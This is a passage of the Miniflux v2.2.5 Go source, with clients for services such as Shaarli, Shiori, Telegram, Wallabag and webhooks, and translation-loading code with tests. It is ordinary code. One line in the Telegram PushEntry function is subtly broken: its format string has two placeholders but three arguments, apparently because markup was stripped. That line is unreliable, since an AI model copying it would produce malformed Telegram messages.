httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return nil, fmt.Errorf("RSS-Bridge: unable to execute request: %w", err)
}
defer response.Body.Close()
if response.StatusCode == http.StatusNotFound {
return nil, nil
}
if response.StatusCode > 400 {
return nil, fmt.Errorf("RSS-Bridge: unexpected status code %d", response.StatusCode)
}
var bridgeResponse []*Bridge
if err := json.NewDecoder(response.Body).Decode(&bridgeResponse); err != nil {
return nil, fmt.Errorf("RSS-Bridge: unable to decode bridge response: %w", err)
}
for _, bridge := range bridgeResponse {
slog.Debug("Found RSS bridge",
slog.String("name", bridge.BridgeMeta.Name),
slog.String("url", bridge.URL),
)
if strings.HasPrefix(bridge.URL, "./") {
bridge.URL = rssBridgeURL + bridge.URL[2:]
slog.Debug("Rewrited relative RSS bridge URL",
slog.String("name", bridge.BridgeMeta.Name),
slog.String("url", bridge.URL),
)
}
}
return bridgeResponse, nil
}
v2-2.2.5/internal/integration/shaarli/ 0000775 0000000 0000000 00000000000 14743520056 0017637 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/shaarli/shaarli.go 0000664 0000000 0000000 00000004726 14743520056 0021622 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package shaarli // import "miniflux.app/v2/internal/integration/shaarli"
import (
"bytes"
"crypto/hmac"
"crypto/sha512"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/urllib"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
baseURL string
apiSecret string
}
func NewClient(baseURL, apiSecret string) *Client {
return &Client{baseURL: baseURL, apiSecret: apiSecret}
}
func (c *Client) CreateLink(entryURL, entryTitle string) error {
if c.baseURL == "" || c.apiSecret == "" {
return fmt.Errorf("shaarli: missing base URL or API secret")
}
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/api/v1/links")
if err != nil {
return fmt.Errorf("shaarli: invalid API endpoint: %v", err)
}
requestBody, err := json.Marshal(&addLinkRequest{
URL: entryURL,
Title: entryTitle,
Private: true,
})
if err != nil {
return fmt.Errorf("shaarli: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("shaarli: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Bearer "+c.generateBearerToken())
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("shaarli: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusCreated {
return fmt.Errorf("shaarli: unable to add link: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
func (c *Client) generateBearerToken() string {
header := base64.RawURLEncoding.EncodeToString([]byte(`{"typ":"JWT","alg":"HS512"}`))
payload := base64.RawURLEncoding.EncodeToString([]byte(fmt.Sprintf(`{"iat":%d}`, time.Now().Unix())))
data := header + "." + payload
mac := hmac.New(sha512.New, []byte(c.apiSecret))
mac.Write([]byte(data))
signature := base64.RawURLEncoding.EncodeToString(mac.Sum(nil))
return data + "." + signature
}
type addLinkRequest struct {
URL string `json:"url"`
Title string `json:"title"`
Private bool `json:"private"`
}
v2-2.2.5/internal/integration/shiori/ 0000775 0000000 0000000 00000000000 14743520056 0017511 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/shiori/shiori.go 0000664 0000000 0000000 00000010163 14743520056 0021336 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package shiori // import "miniflux.app/v2/internal/integration/shiori"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/urllib"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
baseURL string
username string
password string
}
func NewClient(baseURL, username, password string) *Client {
return &Client{baseURL: baseURL, username: username, password: password}
}
func (c *Client) CreateBookmark(entryURL, entryTitle string) error {
if c.baseURL == "" || c.username == "" || c.password == "" {
return fmt.Errorf("shiori: missing base URL, username or password")
}
token, err := c.authenticate()
if err != nil {
return fmt.Errorf("shiori: unable to authenticate: %v", err)
}
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/api/bookmarks")
if err != nil {
return fmt.Errorf("shiori: invalid API endpoint: %v", err)
}
requestBody, err := json.Marshal(&addBookmarkRequest{
URL: entryURL,
Title: entryTitle,
Excerpt: "",
CreateArchive: true,
CreateEbook: false,
Public: 0,
Tags: make([]string, 0),
})
if err != nil {
return fmt.Errorf("shiori: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("shiori: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Bearer "+token)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("shiori: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return fmt.Errorf("shiori: unable to create bookmark: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
func (c *Client) authenticate() (token string, err error) {
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/api/v1/auth/login")
if err != nil {
return "", fmt.Errorf("shiori: invalid API endpoint: %v", err)
}
requestBody, err := json.Marshal(&authRequest{Username: c.username, Password: c.password, RememberMe: false})
if err != nil {
return "", fmt.Errorf("shiori: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return "", fmt.Errorf("shiori: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return "", fmt.Errorf("shiori: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return "", fmt.Errorf("shiori: unable to authenticate: url=%s status=%d", apiEndpoint, response.StatusCode)
}
var authResponse authResponse
if err := json.NewDecoder(response.Body).Decode(&authResponse); err != nil {
return "", fmt.Errorf("shiori: unable to decode response: %v", err)
}
return authResponse.Message.Token, nil
}
type authRequest struct {
Username string `json:"username"`
Password string `json:"password"`
RememberMe bool `json:"remember_me"`
}
type authResponse struct {
OK bool `json:"ok"`
Message authResponseMessage `json:"message"`
}
type authResponseMessage struct {
SessionID string `json:"session"`
Token string `json:"token"`
}
type addBookmarkRequest struct {
URL string `json:"url"`
Title string `json:"title"`
CreateArchive bool `json:"create_archive"`
CreateEbook bool `json:"create_ebook"`
Public int `json:"public"`
Excerpt string `json:"excerpt"`
Tags []string `json:"tags"`
}
v2-2.2.5/internal/integration/telegrambot/ 0000775 0000000 0000000 00000000000 14743520056 0020521 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/telegrambot/client.go 0000664 0000000 0000000 00000012174 14743520056 0022333 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package telegrambot // import "miniflux.app/v2/internal/integration/telegrambot"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"net/url"
"time"
"miniflux.app/v2/internal/version"
)
const (
defaultClientTimeout = 10 * time.Second
telegramAPIEndpoint = "https://api.telegram.org"
MarkdownFormatting = "Markdown"
MarkdownV2Formatting = "MarkdownV2"
HTMLFormatting = "HTML"
)
type Client struct {
botToken string
chatID string
}
func NewClient(botToken, chatID string) *Client {
return &Client{
botToken: botToken,
chatID: chatID,
}
}
// Specs: https://core.telegram.org/bots/api#getme
func (c *Client) GetMe() (*User, error) {
endpointURL, err := url.JoinPath(telegramAPIEndpoint, "/bot"+c.botToken, "/getMe")
if err != nil {
return nil, fmt.Errorf("telegram: unable to join base URL and path: %w", err)
}
request, err := http.NewRequest(http.MethodGet, endpointURL, nil)
if err != nil {
return nil, fmt.Errorf("telegram: unable to create request: %v", err)
}
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return nil, fmt.Errorf("telegram: unable to send request: %v", err)
}
defer response.Body.Close()
var userResponse UserResponse
if err := json.NewDecoder(response.Body).Decode(&userResponse); err != nil {
return nil, fmt.Errorf("telegram: unable to decode user response: %w", err)
}
if !userResponse.Ok {
return nil, fmt.Errorf("telegram: unable to send message: %s (error code is %d)", userResponse.Description, userResponse.ErrorCode)
}
return &userResponse.Result, nil
}
// Specs: https://core.telegram.org/bots/api#sendmessage
func (c *Client) SendMessage(message *MessageRequest) (*Message, error) {
endpointURL, err := url.JoinPath(telegramAPIEndpoint, "/bot"+c.botToken, "/sendMessage")
if err != nil {
return nil, fmt.Errorf("telegram: unable to join base URL and path: %w", err)
}
requestBody, err := json.Marshal(message)
if err != nil {
return nil, fmt.Errorf("telegram: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, endpointURL, bytes.NewReader(requestBody))
if err != nil {
return nil, fmt.Errorf("telegram: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return nil, fmt.Errorf("telegram: unable to send request: %v", err)
}
defer response.Body.Close()
var messageResponse MessageResponse
if err := json.NewDecoder(response.Body).Decode(&messageResponse); err != nil {
return nil, fmt.Errorf("telegram: unable to decode discovery response: %w", err)
}
if !messageResponse.Ok {
return nil, fmt.Errorf("telegram: unable to send message: %s (error code is %d)", messageResponse.Description, messageResponse.ErrorCode)
}
return &messageResponse.Result, nil
}
type InlineKeyboard struct {
InlineKeyboard []InlineKeyboardRow `json:"inline_keyboard"`
}
type InlineKeyboardRow []*InlineKeyboardButton
type InlineKeyboardButton struct {
Text string `json:"text"`
URL string `json:"url,omitempty"`
}
type User struct {
ID int64 `json:"id"`
IsBot bool `json:"is_bot"`
FirstName string `json:"first_name"`
LastName string `json:"last_name"`
Username string `json:"username"`
LanguageCode string `json:"language_code"`
IsPremium bool `json:"is_premium"`
CanJoinGroups bool `json:"can_join_groups"`
CanReadAllGroupMessages bool `json:"can_read_all_group_messages"`
SupportsInlineQueries bool `json:"supports_inline_queries"`
}
type Chat struct {
ID int64 `json:"id"`
Type string `json:"type"`
Title string `json:"title"`
}
type Message struct {
MessageID int64 `json:"message_id"`
From User `json:"from"`
Chat Chat `json:"chat"`
MessageThreadID int64 `json:"message_thread_id"`
Date int64 `json:"date"`
}
type BaseResponse struct {
Ok bool `json:"ok"`
ErrorCode int `json:"error_code"`
Description string `json:"description"`
}
type UserResponse struct {
BaseResponse
Result User `json:"result"`
}
type MessageRequest struct {
ChatID string `json:"chat_id"`
MessageThreadID int64 `json:"message_thread_id,omitempty"`
Text string `json:"text"`
ParseMode string `json:"parse_mode,omitempty"`
DisableWebPagePreview bool `json:"disable_web_page_preview"`
DisableNotification bool `json:"disable_notification"`
ReplyMarkup *InlineKeyboard `json:"reply_markup,omitempty"`
}
type MessageResponse struct {
BaseResponse
Result Message `json:"result"`
}
v2-2.2.5/internal/integration/telegrambot/telegrambot.go 0000664 0000000 0000000 00000003056 14743520056 0023361 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package telegrambot // import "miniflux.app/v2/internal/integration/telegrambot"
import (
"fmt"
"miniflux.app/v2/internal/model"
)
func PushEntry(feed *model.Feed, entry *model.Entry, botToken, chatID string, topicID *int64, disableWebPagePreview, disableNotification bool, disableButtons bool) error {
formattedText := fmt.Sprintf(
`%s - %s`,
feed.Title,
entry.URL,
entry.Title,
)
message := &MessageRequest{
ChatID: chatID,
Text: formattedText,
ParseMode: HTMLFormatting,
DisableWebPagePreview: disableWebPagePreview,
DisableNotification: disableNotification,
}
if topicID != nil {
message.MessageThreadID = *topicID
}
if !disableButtons {
var markupRow []*InlineKeyboardButton
websiteURLButton := InlineKeyboardButton{Text: "Go to website", URL: feed.SiteURL}
markupRow = append(markupRow, &websiteURLButton)
articleURLButton := InlineKeyboardButton{Text: "Go to article", URL: entry.URL}
markupRow = append(markupRow, &articleURLButton)
if entry.CommentsURL != "" {
commentURLButton := InlineKeyboardButton{Text: "Comments", URL: entry.CommentsURL}
markupRow = append(markupRow, &commentURLButton)
}
message.ReplyMarkup = &InlineKeyboard{}
message.ReplyMarkup.InlineKeyboard = append(message.ReplyMarkup.InlineKeyboard, markupRow)
}
client := NewClient(botToken, chatID)
_, err := client.SendMessage(message)
return err
}
v2-2.2.5/internal/integration/wallabag/ 0000775 0000000 0000000 00000000000 14743520056 0017766 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/wallabag/wallabag.go 0000664 0000000 0000000 00000010277 14743520056 0022076 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package wallabag // import "miniflux.app/v2/internal/integration/wallabag"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"net/url"
"strings"
"time"
"miniflux.app/v2/internal/urllib"
"miniflux.app/v2/internal/version"
)
const defaultClientTimeout = 10 * time.Second
type Client struct {
baseURL string
clientID string
clientSecret string
username string
password string
onlyURL bool
}
func NewClient(baseURL, clientID, clientSecret, username, password string, onlyURL bool) *Client {
return &Client{baseURL, clientID, clientSecret, username, password, onlyURL}
}
func (c *Client) CreateEntry(entryURL, entryTitle, entryContent string) error {
if c.baseURL == "" || c.clientID == "" || c.clientSecret == "" || c.username == "" || c.password == "" {
return fmt.Errorf("wallabag: missing base URL, client ID, client secret, username or password")
}
accessToken, err := c.getAccessToken()
if err != nil {
return err
}
return c.createEntry(accessToken, entryURL, entryTitle, entryContent)
}
func (c *Client) createEntry(accessToken, entryURL, entryTitle, entryContent string) error {
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/api/entries.json")
if err != nil {
return fmt.Errorf("wallbag: unable to generate entries endpoint: %v", err)
}
if c.onlyURL {
entryContent = ""
}
requestBody, err := json.Marshal(&createEntryRequest{
URL: entryURL,
Title: entryTitle,
Content: entryContent,
})
if err != nil {
return fmt.Errorf("wallbag: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("wallbag: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("Authorization", "Bearer "+accessToken)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("wallabag: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("wallabag: unable to get access token: url=%s status=%d", apiEndpoint, response.StatusCode)
}
return nil
}
func (c *Client) getAccessToken() (string, error) {
values := url.Values{}
values.Add("grant_type", "password")
values.Add("client_id", c.clientID)
values.Add("client_secret", c.clientSecret)
values.Add("username", c.username)
values.Add("password", c.password)
apiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, "/oauth/v2/token")
if err != nil {
return "", fmt.Errorf("wallbag: unable to generate token endpoint: %v", err)
}
request, err := http.NewRequest(http.MethodPost, apiEndpoint, strings.NewReader(values.Encode()))
if err != nil {
return "", fmt.Errorf("wallbag: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
request.Header.Set("Accept", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return "", fmt.Errorf("wallabag: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return "", fmt.Errorf("wallabag: unable to get access token: url=%s status=%d", apiEndpoint, response.StatusCode)
}
var responseBody tokenResponse
if err := json.NewDecoder(response.Body).Decode(&responseBody); err != nil {
return "", fmt.Errorf("wallabag: unable to decode token response: %v", err)
}
return responseBody.AccessToken, nil
}
type tokenResponse struct {
AccessToken string `json:"access_token"`
Expires int `json:"expires_in"`
RefreshToken string `json:"refresh_token"`
Scope string `json:"scope"`
TokenType string `json:"token_type"`
}
type createEntryRequest struct {
URL string `json:"url"`
Title string `json:"title"`
Content string `json:"content,omitempty"`
}
v2-2.2.5/internal/integration/webhook/ 0000775 0000000 0000000 00000000000 14743520056 0017652 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/integration/webhook/webhook.go 0000664 0000000 0000000 00000013522 14743520056 0021642 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package webhook // import "miniflux.app/v2/internal/integration/webhook"
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"time"
"miniflux.app/v2/internal/crypto"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/version"
)
const (
defaultClientTimeout = 10 * time.Second
NewEntriesEventType = "new_entries"
SaveEntryEventType = "save_entry"
)
type Client struct {
webhookURL string
webhookSecret string
}
func NewClient(webhookURL, webhookSecret string) *Client {
return &Client{webhookURL, webhookSecret}
}
func (c *Client) SendSaveEntryWebhookEvent(entry *model.Entry) error {
return c.makeRequest(SaveEntryEventType, &WebhookSaveEntryEvent{
EventType: SaveEntryEventType,
Entry: &WebhookEntry{
ID: entry.ID,
UserID: entry.UserID,
FeedID: entry.FeedID,
Status: entry.Status,
Hash: entry.Hash,
Title: entry.Title,
URL: entry.URL,
CommentsURL: entry.CommentsURL,
Date: entry.Date,
CreatedAt: entry.CreatedAt,
ChangedAt: entry.ChangedAt,
Content: entry.Content,
Author: entry.Author,
ShareCode: entry.ShareCode,
Starred: entry.Starred,
ReadingTime: entry.ReadingTime,
Enclosures: entry.Enclosures,
Tags: entry.Tags,
Feed: &WebhookFeed{
ID: entry.Feed.ID,
UserID: entry.Feed.UserID,
CategoryID: entry.Feed.Category.ID,
Category: &WebhookCategory{ID: entry.Feed.Category.ID, Title: entry.Feed.Category.Title},
FeedURL: entry.Feed.FeedURL,
SiteURL: entry.Feed.SiteURL,
Title: entry.Feed.Title,
CheckedAt: entry.Feed.CheckedAt,
},
},
})
}
func (c *Client) SendNewEntriesWebhookEvent(feed *model.Feed, entries model.Entries) error {
if len(entries) == 0 {
return nil
}
var webhookEntries []*WebhookEntry
for _, entry := range entries {
webhookEntries = append(webhookEntries, &WebhookEntry{
ID: entry.ID,
UserID: entry.UserID,
FeedID: entry.FeedID,
Status: entry.Status,
Hash: entry.Hash,
Title: entry.Title,
URL: entry.URL,
CommentsURL: entry.CommentsURL,
Date: entry.Date,
CreatedAt: entry.CreatedAt,
ChangedAt: entry.ChangedAt,
Content: entry.Content,
Author: entry.Author,
ShareCode: entry.ShareCode,
Starred: entry.Starred,
ReadingTime: entry.ReadingTime,
Enclosures: entry.Enclosures,
Tags: entry.Tags,
})
}
return c.makeRequest(NewEntriesEventType, &WebhookNewEntriesEvent{
EventType: NewEntriesEventType,
Feed: &WebhookFeed{
ID: feed.ID,
UserID: feed.UserID,
CategoryID: feed.Category.ID,
Category: &WebhookCategory{ID: feed.Category.ID, Title: feed.Category.Title},
FeedURL: feed.FeedURL,
SiteURL: feed.SiteURL,
Title: feed.Title,
CheckedAt: feed.CheckedAt,
},
Entries: webhookEntries,
})
}
func (c *Client) makeRequest(eventType string, payload any) error {
if c.webhookURL == "" {
return fmt.Errorf(`webhook: missing webhook URL`)
}
requestBody, err := json.Marshal(payload)
if err != nil {
return fmt.Errorf("webhook: unable to encode request body: %v", err)
}
request, err := http.NewRequest(http.MethodPost, c.webhookURL, bytes.NewReader(requestBody))
if err != nil {
return fmt.Errorf("webhook: unable to create request: %v", err)
}
request.Header.Set("Content-Type", "application/json")
request.Header.Set("User-Agent", "Miniflux/"+version.Version)
request.Header.Set("X-Miniflux-Signature", crypto.GenerateSHA256Hmac(c.webhookSecret, requestBody))
request.Header.Set("X-Miniflux-Event-Type", eventType)
httpClient := &http.Client{Timeout: defaultClientTimeout}
response, err := httpClient.Do(request)
if err != nil {
return fmt.Errorf("webhook: unable to send request: %v", err)
}
defer response.Body.Close()
if response.StatusCode >= 400 {
return fmt.Errorf("webhook: incorrect response status code %d for url %s", response.StatusCode, c.webhookURL)
}
return nil
}
type WebhookFeed struct {
ID int64 `json:"id"`
UserID int64 `json:"user_id"`
CategoryID int64 `json:"category_id"`
Category *WebhookCategory `json:"category,omitempty"`
FeedURL string `json:"feed_url"`
SiteURL string `json:"site_url"`
Title string `json:"title"`
CheckedAt time.Time `json:"checked_at"`
}
type WebhookCategory struct {
ID int64 `json:"id"`
Title string `json:"title"`
}
type WebhookEntry struct {
ID int64 `json:"id"`
UserID int64 `json:"user_id"`
FeedID int64 `json:"feed_id"`
Status string `json:"status"`
Hash string `json:"hash"`
Title string `json:"title"`
URL string `json:"url"`
CommentsURL string `json:"comments_url"`
Date time.Time `json:"published_at"`
CreatedAt time.Time `json:"created_at"`
ChangedAt time.Time `json:"changed_at"`
Content string `json:"content"`
Author string `json:"author"`
ShareCode string `json:"share_code"`
Starred bool `json:"starred"`
ReadingTime int `json:"reading_time"`
Enclosures model.EnclosureList `json:"enclosures"`
Tags []string `json:"tags"`
Feed *WebhookFeed `json:"feed,omitempty"`
}
type WebhookNewEntriesEvent struct {
EventType string `json:"event_type"`
Feed *WebhookFeed `json:"feed"`
Entries []*WebhookEntry `json:"entries"`
}
type WebhookSaveEntryEvent struct {
EventType string `json:"event_type"`
Entry *WebhookEntry `json:"entry"`
}
v2-2.2.5/internal/locale/ 0000775 0000000 0000000 00000000000 14743520056 0015130 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/locale/catalog.go 0000664 0000000 0000000 00000003144 14743520056 0017073 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import (
"embed"
"encoding/json"
"fmt"
)
type translationDict map[string]interface{}
type catalog map[string]translationDict
var defaultCatalog = make(catalog, len(AvailableLanguages))
//go:embed translations/*.json
var translationFiles embed.FS
func GetTranslationDict(language string) (translationDict, error) {
if _, ok := defaultCatalog[language]; !ok {
var err error
if defaultCatalog[language], err = loadTranslationFile(language); err != nil {
return nil, err
}
}
return defaultCatalog[language], nil
}
// LoadCatalogMessages loads and parses all translations encoded in JSON.
func LoadCatalogMessages() error {
var err error
for language := range AvailableLanguages {
defaultCatalog[language], err = loadTranslationFile(language)
if err != nil {
return err
}
}
return nil
}
func loadTranslationFile(language string) (translationDict, error) {
translationFileData, err := translationFiles.ReadFile(fmt.Sprintf("translations/%s.json", language))
if err != nil {
return nil, err
}
translationMessages, err := parseTranslationMessages(translationFileData)
if err != nil {
return nil, err
}
return translationMessages, nil
}
func parseTranslationMessages(data []byte) (translationDict, error) {
var translationMessages translationDict
if err := json.Unmarshal(data, &translationMessages); err != nil {
return nil, fmt.Errorf(`invalid translation file: %w`, err)
}
return translationMessages, nil
}
v2-2.2.5/internal/locale/catalog_test.go 0000664 0000000 0000000 00000005777 14743520056 0020150 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "testing"
func TestParserWithInvalidData(t *testing.T) {
_, err := parseTranslationMessages([]byte(`{`))
if err == nil {
t.Fatal(`An error should be returned when parsing invalid data`)
}
}
func TestParser(t *testing.T) {
translations, err := parseTranslationMessages([]byte(`{"k": "v"}`))
if err != nil {
t.Fatalf(`Unexpected parsing error: %v`, err)
}
if translations == nil {
t.Fatal(`Translations should not be nil`)
}
value, found := translations["k"]
if !found {
t.Fatal(`The translation should contains the defined key`)
}
if value.(string) != "v" {
t.Fatal(`The translation key should contains the defined value`)
}
}
func TestLoadCatalog(t *testing.T) {
if err := LoadCatalogMessages(); err != nil {
t.Fatal(err)
}
}
func TestAllKeysHaveValue(t *testing.T) {
for language := range AvailableLanguages {
messages, err := loadTranslationFile(language)
if err != nil {
t.Fatalf(`Unable to load translation messages for language %q`, language)
}
if len(messages) == 0 {
t.Fatalf(`The language %q doesn't have any messages`, language)
}
for k, v := range messages {
switch value := v.(type) {
case string:
if value == "" {
t.Errorf(`The key %q for the language %q has an empty string as value`, k, language)
}
case []any:
if len(value) == 0 {
t.Errorf(`The key %q for the language %q has an empty list as value`, k, language)
}
}
}
}
}
func TestMissingTranslations(t *testing.T) {
refLang := "en_US"
references, err := loadTranslationFile(refLang)
if err != nil {
t.Fatal(`Unable to parse reference language`)
}
for language := range AvailableLanguages {
if language == refLang {
continue
}
messages, err := loadTranslationFile(language)
if err != nil {
t.Fatalf(`Parsing error for language %q`, language)
}
for key := range references {
if _, found := messages[key]; !found {
t.Fatalf(`Translation key %q not found in language %q`, key, language)
}
}
}
}
func TestTranslationFilePluralForms(t *testing.T) {
var numberOfPluralFormsPerLanguage = map[string]int{
"en_US": 2,
"es_ES": 2,
"fr_FR": 2,
"de_DE": 2,
"pl_PL": 3,
"pt_BR": 2,
"zh_CN": 1,
"zh_TW": 1,
"nl_NL": 2,
"ru_RU": 3,
"it_IT": 2,
"ja_JP": 1,
"tr_TR": 2,
"el_EL": 2,
"fi_FI": 2,
"hi_IN": 2,
"uk_UA": 3,
"id_ID": 1,
}
for language := range AvailableLanguages {
messages, err := loadTranslationFile(language)
if err != nil {
t.Fatalf(`Unable to load translation messages for language %q`, language)
}
for k, v := range messages {
if value, ok := v.([]any); ok {
if len(value) != numberOfPluralFormsPerLanguage[language] {
t.Errorf(`The key %q for the language %q does not have the expected number of plurals, got %d instead of %d`, k, language, len(value), numberOfPluralFormsPerLanguage[language])
}
}
}
}
}
v2-2.2.5/internal/locale/error.go 0000664 0000000 0000000 00000002646 14743520056 0016620 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "errors"
type LocalizedErrorWrapper struct {
originalErr error
translationKey string
translationArgs []any
}
func NewLocalizedErrorWrapper(originalErr error, translationKey string, translationArgs ...any) *LocalizedErrorWrapper {
return &LocalizedErrorWrapper{
originalErr: originalErr,
translationKey: translationKey,
translationArgs: translationArgs,
}
}
func (l *LocalizedErrorWrapper) Error() error {
return l.originalErr
}
func (l *LocalizedErrorWrapper) Translate(language string) string {
if l.translationKey == "" {
return l.originalErr.Error()
}
return NewPrinter(language).Printf(l.translationKey, l.translationArgs...)
}
type LocalizedError struct {
translationKey string
translationArgs []any
}
func NewLocalizedError(translationKey string, translationArgs ...any) *LocalizedError {
return &LocalizedError{translationKey: translationKey, translationArgs: translationArgs}
}
func (v *LocalizedError) String() string {
return NewPrinter("en_US").Printf(v.translationKey, v.translationArgs...)
}
func (v *LocalizedError) Error() error {
return errors.New(v.String())
}
func (v *LocalizedError) Translate(language string) string {
return NewPrinter(language).Printf(v.translationKey, v.translationArgs...)
}
v2-2.2.5/internal/locale/locale.go 0000664 0000000 0000000 00000001346 14743520056 0016722 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
// AvailableLanguages is the list of available languages.
var AvailableLanguages = map[string]string{
"en_US": "English",
"es_ES": "Español",
"fr_FR": "Français",
"de_DE": "Deutsch",
"pl_PL": "Polski",
"pt_BR": "Português Brasileiro",
"zh_CN": "简体中文",
"zh_TW": "繁體中文",
"nl_NL": "Nederlands",
"ru_RU": "Русский",
"it_IT": "Italiano",
"ja_JP": "日本語",
"tr_TR": "Türkçe",
"el_EL": "Ελληνικά",
"fi_FI": "Suomi",
"hi_IN": "हिन्दी",
"uk_UA": "Українська",
"id_ID": "Bahasa Indonesia",
}
v2-2.2.5/internal/locale/locale_test.go 0000664 0000000 0000000 00000001042 14743520056 0017752 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "testing"
func TestAvailableLanguages(t *testing.T) {
results := AvailableLanguages
for k, v := range results {
if k == "" {
t.Errorf(`Empty language key detected`)
}
if v == "" {
t.Errorf(`Empty language value detected`)
}
}
if _, found := results["en_US"]; !found {
t.Errorf(`We must have at least the default language (en_US)`)
}
}
v2-2.2.5/internal/locale/plural.go 0000664 0000000 0000000 00000004212 14743520056 0016755 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
// See https://localization-guide.readthedocs.io/en/latest/l10n/pluralforms.html
// And http://www.unicode.org/cldr/charts/29/supplemental/language_plural_rules.html
